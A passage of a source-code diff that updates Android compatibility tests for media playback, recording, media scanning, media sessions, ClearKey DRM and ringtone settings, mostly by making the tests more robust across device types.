public void testGetTrackInfoForVideoWithTimedText() throws Throwable {
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
index 89086cb..921db5a 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
@@ -207,6 +207,7 @@
boolean playedSuccessfully = false;
for (int i = 0; i < STREAM_RETRIES; i++) {
try {
+ mMediaPlayer.reset();
mMediaPlayer.setDataSource(path);
playLoadedVideo(width, height, playTime);
playedSuccessfully = true;
@@ -245,6 +246,7 @@
boolean playedSuccessfully = false;
for (int i = 0; i < STREAM_RETRIES; i++) {
try {
+ mMediaPlayer.reset();
mMediaPlayer.setDataSource(getInstrumentation().getTargetContext(),
uri, headers, cookies);
playLoadedVideo(width, height, playTime);
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index 6313621..3782416 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -537,12 +537,16 @@
if (!hasCamera()) {
return;
}
+ mCamera = Camera.open(0);
+ setSupportedResolution(mCamera);
+ mCamera.unlock();
+
mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
mMediaRecorder.setOutputFile(OUTPUT_PATH2);
mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
- mMediaRecorder.setVideoSize(VIDEO_WIDTH, VIDEO_HEIGHT);
+ mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
FileOutputStream fos = new FileOutputStream(OUTPUT_PATH2);
FileDescriptor fd = fos.getFD();
@@ -708,12 +712,16 @@
MediaUtils.skipTest("no microphone, camera, or codecs");
return;
}
+ mCamera = Camera.open(0);
+ setSupportedResolution(mCamera);
+ mCamera.unlock();
+
mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
- mMediaRecorder.setVideoSize(VIDEO_WIDTH, VIDEO_HEIGHT);
+ mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
mMediaRecorder.setVideoEncodingBitRate(256000);
mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
mMediaRecorder.setMaxFileSize(fileSize);
@@ -855,7 +863,13 @@
String mime = format.getString(MediaFormat.KEY_MIME);
if (mime.startsWith("video/")) {
int finalProfile = format.getInteger(MediaFormat.KEY_PROFILE);
- if (finalProfile != profile) {
+ if (!(finalProfile == profile ||
+ (mediaType.equals(AVC)
+ && profile == AVCProfileBaseline
+ && finalProfile == AVCProfileConstrainedBaseline) ||
+ (mediaType.equals(AVC)
+ && profile == AVCProfileHigh
+ && finalProfile == AVCProfileConstrainedHigh))) {
fail("Incorrect profile: " + finalProfile + " Expected: " + profile);
}
int finalLevel = format.getInteger(MediaFormat.KEY_LEVEL);
@@ -1079,6 +1093,7 @@
mCamera = Camera.open(0);
Camera.Parameters params = mCamera.getParameters();
frameRate = params.getPreviewFrameRate();
+ setSupportedResolution(mCamera);
mCamera.unlock();
mMediaRecorder.setCamera(mCamera);
mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
@@ -1096,7 +1111,7 @@
mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
mMediaRecorder.setVideoFrameRate(frameRate);
- mMediaRecorder.setVideoSize(VIDEO_WIDTH, VIDEO_HEIGHT);
+ mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
if (hasAudio) {
mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
index 3a12e3b..137b7cf 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
@@ -470,7 +470,20 @@
new MediaScanEntry(R.raw.iso88591_13,
new String[] {"Michael Bublé", "Crazy Love", "Michael Bublé", "Haven't Met You Yet", null}),
new MediaScanEntry(R.raw.utf16_1,
- new String[] {"Shakira", "Latin Mix USA", "Shakira", "Estoy Aquí", null})
+ new String[] {"Shakira", "Latin Mix USA", "Shakira", "Estoy Aquí", null}),
+ // Tags are encoded in different charsets.
+ new MediaScanEntry(R.raw.iso88591_utf8_mixed_1,
+ new String[] {"刘昊霖/kidult.", "鱼干铺里", "刘昊霖/kidult.", "Colin Wine's Mailbox", null}),
+ new MediaScanEntry(R.raw.iso88591_utf8_mixed_2,
+ new String[] {"冰块先生/郭美孜", "hey jude", "冰块先生/郭美孜", "Hey Jude", null}),
+ new MediaScanEntry(R.raw.iso88591_utf8_mixed_3,
+ new String[] {"Toy王奕/Tizzy T/满舒克", "1993", "Toy王奕/Tizzy T/满舒克", "Me&Ma Bros", null}),
+ new MediaScanEntry(R.raw.gb18030_utf8_mixed_1,
+ new String[] {"张国荣", "钟情张国荣", null, "左右手", null}),
+ new MediaScanEntry(R.raw.gb18030_utf8_mixed_2,
+ new String[] {"纵贯线", "Live in Taipei 出发\\/终点站", null, "皇后大道东(Live)", null}),
+ new MediaScanEntry(R.raw.gb18030_utf8_mixed_3,
+ new String[] {"谭咏麟", "二十年白金畅销金曲全记录", null, "知心当玩偶", null})
};
public void testEncodingDetection() throws Exception {
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index 58a643d..cc6f186 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
@@ -39,10 +39,14 @@
import java.util.ArrayList;
import java.util.List;
import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
public class MediaSessionTest extends AndroidTestCase {
- // The maximum time to wait for an operation.
+ // The maximum time to wait for an operation that is expected to succeed.
private static final long TIME_OUT_MS = 3000L;
+ // The maximum time to wait for an operation that is expected to fail.
+ private static final long WAIT_MS = 100L;
private static final int MAX_AUDIO_INFO_CHANGED_CALLBACK_COUNT = 10;
private static final String TEST_SESSION_TAG = "test-session-tag";
private static final String TEST_KEY = "test-key";
@@ -322,71 +326,106 @@
PendingIntent pi = PendingIntent.getBroadcast(getContext(), 0, mediaButtonIntent, 0);
mSession.setMediaButtonReceiver(pi);
- long supportedActions = PlaybackState.ACTION_PLAY | PlaybackState.ACTION_PAUSE
- | PlaybackState.ACTION_PLAY_PAUSE | PlaybackState.ACTION_STOP
- | PlaybackState.ACTION_SKIP_TO_NEXT | PlaybackState.ACTION_SKIP_TO_PREVIOUS
- | PlaybackState.ACTION_FAST_FORWARD | PlaybackState.ACTION_REWIND;
-
// Set state to STATE_PLAYING to get higher priority.
- PlaybackState defaultState = new PlaybackState.Builder().setActions(supportedActions)
- .setState(PlaybackState.STATE_PLAYING, 0L, 0.0f).build();
- mSession.setPlaybackState(defaultState);
+ setPlaybackState(PlaybackState.STATE_PLAYING);
// A media playback is also needed to receive media key events.
Utils.assertMediaPlaybackStarted(getContext());
+ sessionCallback.reset(1);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertEquals(1, sessionCallback.mOnPlayCalledCount);
+
+ sessionCallback.reset(1);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PAUSE);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertTrue(sessionCallback.mOnPauseCalled);
+
+ sessionCallback.reset(1);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_NEXT);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertTrue(sessionCallback.mOnSkipToNextCalled);
+
+ sessionCallback.reset(1);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PREVIOUS);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertTrue(sessionCallback.mOnSkipToPreviousCalled);
+
+ sessionCallback.reset(1);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertTrue(sessionCallback.mOnStopCalled);
+
+ sessionCallback.reset(1);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_FAST_FORWARD);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertTrue(sessionCallback.mOnFastForwardCalled);
+
+ sessionCallback.reset(1);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_REWIND);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertTrue(sessionCallback.mOnRewindCalled);
+
+ // Test PLAY_PAUSE button twice.
+ // First, simulate PLAY_PAUSE button while in STATE_PAUSED.
+ sessionCallback.reset(1);
+ setPlaybackState(PlaybackState.STATE_PAUSED);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertEquals(1, sessionCallback.mOnPlayCalledCount);
+
+ // Next, simulate PLAY_PAUSE button while in STATE_PLAYING.
+ sessionCallback.reset(1);
+ setPlaybackState(PlaybackState.STATE_PLAYING);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertTrue(sessionCallback.mOnPauseCalled);
+
+ // Double tap of PLAY_PAUSE is the next track instead of changing PLAY/PAUSE.
+ sessionCallback.reset(2);
+ setPlaybackState(PlaybackState.STATE_PLAYING);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+ assertFalse(sessionCallback.await(WAIT_MS));
+ assertTrue(sessionCallback.mOnSkipToNextCalled);
+ assertEquals(0, sessionCallback.mOnPlayCalledCount);
+ assertFalse(sessionCallback.mOnPauseCalled);
+
+ // Test if PLAY_PAUSE double tap is considered as two single taps when another media
+ // key is pressed.
+ sessionCallback.reset(3);
+ setPlaybackState(PlaybackState.STATE_PAUSED);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertEquals(2, sessionCallback.mOnPlayCalledCount);
+ assertTrue(sessionCallback.mOnStopCalled);
+
+ // Test if media keys are handled in order.
+ sessionCallback.reset(2);
+ setPlaybackState(PlaybackState.STATE_PAUSED);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertEquals(1, sessionCallback.mOnPlayCalledCount);
+ assertTrue(sessionCallback.mOnStopCalled);
synchronized (mWaitLock) {
- sessionCallback.reset();
- simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY);
- mWaitLock.wait(TIME_OUT_MS);
- assertTrue(sessionCallback.mOnPlayCalled);
+ assertEquals(PlaybackState.STATE_STOPPED,
+ mSession.getController().getPlaybackState().getState());
+ }
+ }
- sessionCallback.reset();
- simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PAUSE);
- mWaitLock.wait(TIME_OUT_MS);
- assertTrue(sessionCallback.mOnPauseCalled);
-
- sessionCallback.reset();
- simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_NEXT);
- mWaitLock.wait(TIME_OUT_MS);
- assertTrue(sessionCallback.mOnSkipToNextCalled);
-
- sessionCallback.reset();
- simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PREVIOUS);
- mWaitLock.wait(TIME_OUT_MS);
- assertTrue(sessionCallback.mOnSkipToPreviousCalled);
-
- sessionCallback.reset();
- simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
- mWaitLock.wait(TIME_OUT_MS);
- assertTrue(sessionCallback.mOnStopCalled);
-
- sessionCallback.reset();
- simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_FAST_FORWARD);
- mWaitLock.wait(TIME_OUT_MS);
- assertTrue(sessionCallback.mOnFastForwardCalled);
-
- sessionCallback.reset();
- simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_REWIND);
- mWaitLock.wait(TIME_OUT_MS);
- assertTrue(sessionCallback.mOnRewindCalled);
-
- // Test PLAY_PAUSE button twice.
- // First, simulate PLAY_PAUSE button while in STATE_PAUSED.
- sessionCallback.reset();
- mSession.setPlaybackState(new PlaybackState.Builder().setActions(supportedActions)
- .setState(PlaybackState.STATE_PAUSED, 0L, 0.0f).build());
- simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
- mWaitLock.wait(TIME_OUT_MS);
- assertTrue(sessionCallback.mOnPlayCalled);
-
- // Next, simulate PLAY_PAUSE button while in STATE_PLAYING.
- sessionCallback.reset();
- mSession.setPlaybackState(new PlaybackState.Builder().setActions(supportedActions)
- .setState(PlaybackState.STATE_PLAYING, 0L, 0.0f).build());
- simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
- mWaitLock.wait(TIME_OUT_MS);
- assertTrue(sessionCallback.mOnPauseCalled);
+ private void setPlaybackState(int state) {
+ final long allActions = PlaybackState.ACTION_PLAY | PlaybackState.ACTION_PAUSE
+ | PlaybackState.ACTION_PLAY_PAUSE | PlaybackState.ACTION_STOP
+ | PlaybackState.ACTION_SKIP_TO_NEXT | PlaybackState.ACTION_SKIP_TO_PREVIOUS
+ | PlaybackState.ACTION_FAST_FORWARD | PlaybackState.ACTION_REWIND;
+ PlaybackState playbackState = new PlaybackState.Builder().setActions(allActions)
+ .setState(state, 0L, 0.0f).build();
+ synchronized (mWaitLock) {
+ mSession.setPlaybackState(playbackState);
}
}
@@ -419,13 +458,27 @@
* Tests {@link MediaSession.QueueItem}.
*/
public void testQueueItem() {
- QueueItem item = new QueueItem(new MediaDescription.Builder()
- .setMediaId("media-id").setTitle("title").build(), TEST_QUEUE_ID);
+ MediaDescription.Builder descriptionBuilder = new MediaDescription.Builder()
+ .setMediaId("media-id")
+ .setTitle("title");
+
+ QueueItem item = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
assertEquals(TEST_QUEUE_ID, item.getQueueId());
assertEquals("media-id", item.getDescription().getMediaId());
assertEquals("title", item.getDescription().getTitle());
assertEquals(0, item.describeContents());
+ QueueItem sameItem = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
+ assertTrue(item.equals(sameItem));
+
+ QueueItem differentQueueId = new QueueItem(
+ descriptionBuilder.build(), TEST_QUEUE_ID + 1);
+ assertFalse(item.equals(differentQueueId));
+
+ QueueItem differentDescription = new QueueItem(
+ descriptionBuilder.setTitle("title2").build(), TEST_QUEUE_ID);
+ assertFalse(item.equals(differentDescription));
+
Parcel p = Parcel.obtain();
item.writeToParcel(p, 0);
p.setDataPosition(0);
@@ -576,7 +629,8 @@
}
private class MediaSessionCallback extends MediaSession.Callback {
- private boolean mOnPlayCalled;
+ private CountDownLatch mLatch;
+ private int mOnPlayCalledCount;
private boolean mOnPauseCalled;
private boolean mOnStopCalled;
private boolean mOnFastForwardCalled;
@@ -584,8 +638,9 @@
private boolean mOnSkipToPreviousCalled;
private boolean mOnSkipToNextCalled;
- public void reset() {
- mOnPlayCalled = false;
+ public void reset(int count) {
+ mLatch = new CountDownLatch(count);
+ mOnPlayCalledCount = 0;
mOnPauseCalled = false;
mOnStopCalled = false;
mOnFastForwardCalled = false;
@@ -594,60 +649,57 @@
mOnSkipToNextCalled = false;
}
+ public boolean await(long waitMs) {
+ try {
+ return mLatch.await(waitMs, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ return false;
+ }
+ }
+
@Override
public void onPlay() {
- synchronized (mWaitLock) {
- mOnPlayCalled = true;
- mWaitLock.notify();
- }
+ mOnPlayCalledCount++;
+ setPlaybackState(PlaybackState.STATE_PLAYING);
+ mLatch.countDown();
}
@Override
public void onPause() {
- synchronized (mWaitLock) {
- mOnPauseCalled = true;
- mWaitLock.notify();
- }
+ mOnPauseCalled = true;
+ setPlaybackState(PlaybackState.STATE_PAUSED);
+ mLatch.countDown();
}
@Override
public void onStop() {
- synchronized (mWaitLock) {
- mOnStopCalled = true;
- mWaitLock.notify();
- }
+ mOnStopCalled = true;
+ setPlaybackState(PlaybackState.STATE_STOPPED);
+ mLatch.countDown();
}
@Override
public void onFastForward() {
- synchronized (mWaitLock) {
- mOnFastForwardCalled = true;
- mWaitLock.notify();
- }
+ mOnFastForwardCalled = true;
+ mLatch.countDown();
}
@Override
public void onRewind() {
- synchronized (mWaitLock) {
- mOnRewindCalled = true;
- mWaitLock.notify();
- }
+ mOnRewindCalled = true;
+ mLatch.countDown();
}
@Override
public void onSkipToPrevious() {
- synchronized (mWaitLock) {
- mOnSkipToPreviousCalled = true;
- mWaitLock.notify();
- }
+ mOnSkipToPreviousCalled = true;
+ mLatch.countDown();
}
@Override
public void onSkipToNext() {
- synchronized (mWaitLock) {
- mOnSkipToNextCalled = true;
- mWaitLock.notify();
- }
+ mOnSkipToNextCalled = true;
+ mLatch.countDown();
}
}
}
diff --git a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
index 4a7b7af..c44a024 100644
--- a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
+++ b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
@@ -15,13 +15,11 @@
*/
package android.media.cts;
-import static org.junit.Assert.assertThat;
-import static org.junit.matchers.JUnitMatchers.containsString;
-
+import android.content.pm.PackageManager;
+import android.media.MediaDrm;
import android.net.Uri;
import android.util.Log;
import android.view.Surface;
-import android.view.SurfaceHolder;
import com.android.compatibility.common.util.ApiLevelUtil;
import com.android.compatibility.common.util.MediaUtils;
@@ -29,9 +27,11 @@
import java.nio.ByteBuffer;
import java.util.ArrayList;
-import java.util.Iterator;
import java.util.UUID;
+import static org.junit.Assert.assertThat;
+import static org.junit.matchers.JUnitMatchers.containsString;
+
/**
* Tests MediaDrm NDK APIs. ClearKey system uses a subset of NDK APIs,
* this test only tests the APIs that are supported by ClearKey system.
@@ -53,8 +53,10 @@
"llama_h264_main_720p_8000.mp4");
private static final int UUID_BYTE_SIZE = 16;
- private static final UUID CLEARKEY_SCHEME_UUID =
+ private static final UUID COMMON_PSSH_SCHEME_UUID =
new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+ private static final UUID CLEARKEY_SCHEME_UUID =
+ new UUID(0xe2719d58a985b3c9L, 0x781ab030af78d30eL);
private static final UUID BAD_SCHEME_UUID =
new UUID(0xffffffffffffffffL, 0xffffffffffffffffL);
private MediaCodecClearKeyPlayer mMediaCodecPlayer;
@@ -94,6 +96,21 @@
super.tearDown();
}
+ private boolean watchHasNoClearkeySupport() {
+ if (!MediaDrm.isCryptoSchemeSupported(CLEARKEY_SCHEME_UUID)) {
+ if (isWatchDevice()) {
+ return true;
+ } else {
+ throw new Error("Crypto scheme is not supported");
+ }
+ }
+ return false;
+ }
+
+ private boolean isWatchDevice() {
+ return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+ }
+
private boolean deviceHasMediaDrm() {
// ClearKey is introduced after KitKat.
if (ApiLevelUtil.isAtMost(android.os.Build.VERSION_CODES.KITKAT)) {
@@ -111,6 +128,11 @@
}
public void testIsCryptoSchemeSupported() throws Exception {
+ if (watchHasNoClearkeySupport()) {
+ return;
+ }
+
+ assertTrue(isCryptoSchemeSupportedNative(uuidByteArray(COMMON_PSSH_SCHEME_UUID)));
assertTrue(isCryptoSchemeSupportedNative(uuidByteArray(CLEARKEY_SCHEME_UUID)));
}
@@ -119,19 +141,47 @@
}
public void testPssh() throws Exception {
- assertTrue(testPsshNative(uuidByteArray(CLEARKEY_SCHEME_UUID),
+ // The test uses a canned PSSH that contains the common box UUID.
+ assertTrue(testPsshNative(uuidByteArray(COMMON_PSSH_SCHEME_UUID),
CENC_CLEARKEY_VIDEO_URL.toString()));
}
+ public void testQueryKeyStatus() throws Exception {
+ if (watchHasNoClearkeySupport()) {
+ return;
+ }
+
+ assertTrue(testQueryKeyStatusNative(uuidByteArray(CLEARKEY_SCHEME_UUID)));
+ }
+
public void testGetPropertyString() throws Exception {
+ if (watchHasNoClearkeySupport()) {
+ return;
+ }
+
StringBuffer value = new StringBuffer();
testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID), "description", value);
assertEquals("ClearKey CDM", value.toString());
+
+ value.delete(0, value.length());
+ testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID), "description", value);
+ assertEquals("ClearKey CDM", value.toString());
}
public void testUnknownPropertyString() throws Exception {
+ StringBuffer value = new StringBuffer();
+
try {
- StringBuffer value = new StringBuffer();
+ testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID),
+ "unknown-property", value);
+ fail("Should have thrown an exception");
+ } catch (RuntimeException e) {
+ Log.e(TAG, "testUnknownPropertyString error = '" + e.getMessage() + "'");
+ assertThat(e.getMessage(), containsString("get property string returns"));
+ }
+
+ value.delete(0, value.length());
+ try {
testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID),
"unknown-property", value);
} catch (RuntimeException e) {
@@ -144,10 +194,14 @@
* Tests native clear key system playback.
*/
private void testClearKeyPlayback(
- String mimeType, /*String initDataType,*/ Uri audioUrl, Uri videoUrl,
+ UUID drmSchemeUuid, String mimeType, /*String initDataType,*/ Uri audioUrl, Uri videoUrl,
int videoWidth, int videoHeight) throws Exception {
- if (!isCryptoSchemeSupportedNative(uuidByteArray(CLEARKEY_SCHEME_UUID))) {
+ if (isWatchDevice()) {
+ return;
+ }
+
+ if (!isCryptoSchemeSupportedNative(uuidByteArray(drmSchemeUuid))) {
throw new Error("Crypto scheme is not supported.");
}
@@ -185,7 +239,7 @@
params.videoUrl = videoUrl.toString();
if (!testClearKeyPlaybackNative(
- uuidByteArray(CLEARKEY_SCHEME_UUID), params)) {
+ uuidByteArray(drmSchemeUuid), params)) {
Log.e(TAG, "Fails play back using native media drm APIs.");
}
params.surface.release();
@@ -211,11 +265,23 @@
private static native boolean testPsshNative(final byte[] uuid, final String videoUrl);
+ private static native boolean testQueryKeyStatusNative(final byte[] uuid);
+
public void testClearKeyPlaybackCenc() throws Exception {
testClearKeyPlayback(
- ISO_BMFF_VIDEO_MIME_TYPE,
- CENC_AUDIO_URL,
- CENC_CLEARKEY_VIDEO_URL,
- VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
+ COMMON_PSSH_SCHEME_UUID,
+ ISO_BMFF_VIDEO_MIME_TYPE,
+ CENC_AUDIO_URL,
+ CENC_CLEARKEY_VIDEO_URL,
+ VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
+ }
+
+ public void testClearKeyPlaybackCenc2() throws Exception {
+ testClearKeyPlayback(
+ CLEARKEY_SCHEME_UUID,
+ ISO_BMFF_VIDEO_MIME_TYPE,
+ CENC_AUDIO_URL,
+ CENC_CLEARKEY_VIDEO_URL,
+ VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
}
}
diff --git a/tests/tests/media/src/android/media/cts/ResourceManagerTest.java b/tests/tests/media/src/android/media/cts/ResourceManagerTest.java
index 5f16bc5..b541a97 100644
--- a/tests/tests/media/src/android/media/cts/ResourceManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/ResourceManagerTest.java
@@ -17,8 +17,12 @@
package android.media.cts;
import android.os.Bundle;
+import android.platform.test.annotations.RequiresDevice;
+import android.support.test.filters.SmallTest;
import android.test.ActivityInstrumentationTestCase2;
+@SmallTest
+@RequiresDevice
public class ResourceManagerTest
extends ActivityInstrumentationTestCase2<ResourceManagerStubActivity> {
diff --git a/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java b/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java
index 3dff5bf..8ac3f27 100644
--- a/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java
@@ -15,6 +15,7 @@
*/
package android.media.cts;
+import android.app.ActivityManager;
import android.media.cts.R;
@@ -63,31 +64,36 @@
mDefaultUri = RingtoneManager.getActualDefaultRingtoneUri(mContext,
RingtoneManager.TYPE_RINGTONE);
- try {
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), true);
- mAudioManager.adjustStreamVolume(AudioManager.STREAM_RING, AudioManager.ADJUST_RAISE,
- AudioManager.FLAG_ALLOW_RINGER_MODES);
- } finally {
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), false);
+ if (mAudioManager.getRingerMode() == AudioManager.RINGER_MODE_SILENT
+ && !ActivityManager.isLowRamDeviceStatic()) {
+ try {
+ Utils.toggleNotificationPolicyAccess(
+ mContext.getPackageName(), getInstrumentation(), true);
+ mAudioManager.adjustStreamVolume(AudioManager.STREAM_RING,
+ AudioManager.ADJUST_RAISE,
+ AudioManager.FLAG_ALLOW_RINGER_MODES);
+ } finally {
+ Utils.toggleNotificationPolicyAccess(
+ mContext.getPackageName(), getInstrumentation(), false);
+ }
}
-
}
@Override
protected void tearDown() throws Exception {
- try {
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), true);
- // restore original ringer settings
- if (mAudioManager != null) {
- mAudioManager.setStreamVolume(AudioManager.STREAM_RING, mOriginalVolume,
- AudioManager.FLAG_ALLOW_RINGER_MODES);
+ if (!ActivityManager.isLowRamDeviceStatic()) {
+ try {
+ Utils.toggleNotificationPolicyAccess(
+ mContext.getPackageName(), getInstrumentation(), true);
+ // restore original ringer settings
+ if (mAudioManager != null) {
+ mAudioManager.setStreamVolume(AudioManager.STREAM_RING, mOriginalVolume,
+ AudioManager.FLAG_ALLOW_RINGER_MODES);
+ }
+ } finally {
+ Utils.toggleNotificationPolicyAccess(
+ mContext.getPackageName(), getInstrumentation(), false);
}
- } finally {
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), false);
}
RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE,
mDefaultUri);
diff --git a/tests/tests/media/src/android/media/cts/RingtoneTest.java b/tests/tests/media/src/android/media/cts/RingtoneTest.java
index 31ae5bb..092ac0b 100644
--- a/tests/tests/media/src/android/media/cts/RingtoneTest.java
+++ b/tests/tests/media/src/android/media/cts/RingtoneTest.java
@@ -16,6 +16,7 @@
package android.media.cts;
+import android.app.ActivityManager;
import android.app.UiAutomation;
import android.content.Context;
import android.content.pm.PackageManager;
@@ -52,17 +53,26 @@
int maxVolume = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_RING);
- try {
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), true);
- // set ringer to a reasonable volume
+ if (mAudioManager.getRingerMode() == AudioManager.RINGER_MODE_VIBRATE) {
+ mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
mAudioManager.setStreamVolume(AudioManager.STREAM_RING, maxVolume / 2,
AudioManager.FLAG_ALLOW_RINGER_MODES);
- // make sure that we are not in silent mode
- mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
- } finally {
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), false);
+ } else if (mAudioManager.getRingerMode() == AudioManager.RINGER_MODE_NORMAL) {
+ mAudioManager.setStreamVolume(AudioManager.STREAM_RING, maxVolume / 2,
+ AudioManager.FLAG_ALLOW_RINGER_MODES);
+ } else if (!ActivityManager.isLowRamDeviceStatic()) {
+ try {
+ Utils.toggleNotificationPolicyAccess(
+ mContext.getPackageName(), getInstrumentation(), true);
+ // set ringer to a reasonable volume
+ mAudioManager.setStreamVolume(AudioManager.STREAM_RING, maxVolume / 2,
+ AudioManager.FLAG_ALLOW_RINGER_MODES);
+ // make sure that we are not in silent mode
+ mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
+ } finally {
+ Utils.toggleNotificationPolicyAccess(
+ mContext.getPackageName(), getInstrumentation(), false);
+ }
}
mDefaultRingUri = RingtoneManager.getActualDefaultRingtoneUri(mContext,
@@ -88,7 +98,7 @@
if (mRingtone.isPlaying()) mRingtone.stop();
mRingtone.setStreamType(mOriginalStreamType);
}
- if (mAudioManager != null) {
+ if (mAudioManager != null && !ActivityManager.isLowRamDeviceStatic()) {
try {
Utils.toggleNotificationPolicyAccess(
mContext.getPackageName(), getInstrumentation(), true);
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
index 9a9414f..80ec789 100644
